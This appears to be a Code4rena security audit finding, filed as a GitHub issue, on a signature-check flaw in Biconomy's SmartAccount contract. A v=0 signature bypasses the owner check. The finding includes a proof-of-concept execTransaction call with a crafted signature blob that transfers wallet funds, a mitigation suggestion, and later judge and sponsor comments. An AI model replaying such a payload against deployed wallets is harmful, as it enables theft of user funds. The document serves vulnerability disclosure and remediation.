code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

Impact

when the v value of a signature is = 0, the 'checkSignatures' in entryPoint function doesn't check if the signer is the owner of the wallet and assumes that it is from a contract, a malicious party could craft a signature with the v value = 0, and implement the 'ISignatureValidator' interface

contract ISignatureValidatorConstants {
    // bytes4(keccak256("isValidSignature(bytes,bytes)")
    bytes4 internal constant EIP1271_MAGIC_VALUE = 0x20c13b0b;
}

abstract contract ISignatureValidator is ISignatureValidatorConstants {
    /**
     * @dev Should return whether the signature provided is valid for the provided data
     * @param _data Arbitrary length data signed on the behalf of address(this)
     * @param _signature Signature byte array associated with _data
     *
     * MUST return the bytes4 magic value 0x20c13b0b when function passes.
     * MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5)
     * MUST allow external calls
     */
    function isValidSignature(bytes memory _data, bytes memory _signature) public view virtual returns (bytes4);
}

this allows them to effectively call any function on the wallet

Proof of Concept

calling the function

    function execTransaction(
        Transaction memory _tx,
        uint256 batchId,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) public payable virtual override returns (bool success) {

with value

execTransaction(
            Transaction(address(this), 1 ether, "", Operation.Call, 0),
            2,
            FeeRefund(1,0,1,address(0), payable(address(this))),
"0x000000000000000000000000d8b934580fce35a11b58c6d73adee468a2833fa8000000000000000000000000d8b934580fce35a11b58c6d73adee468a2833fa800"

on a smart wallet address effectively transfers funds to the contract provided the wallet has funds and gas in the entryPoint contract

Tools Used

slither

Recommended Mitigation Steps

consider checking that the signer is the owner in the checkSignatures even if the v == 0

c4-judge commented 1 year ago

gzeon-c4 marked the issue as duplicate of #175

c4-sponsor commented 1 year ago

livingrockrises marked the issue as sponsor confirmed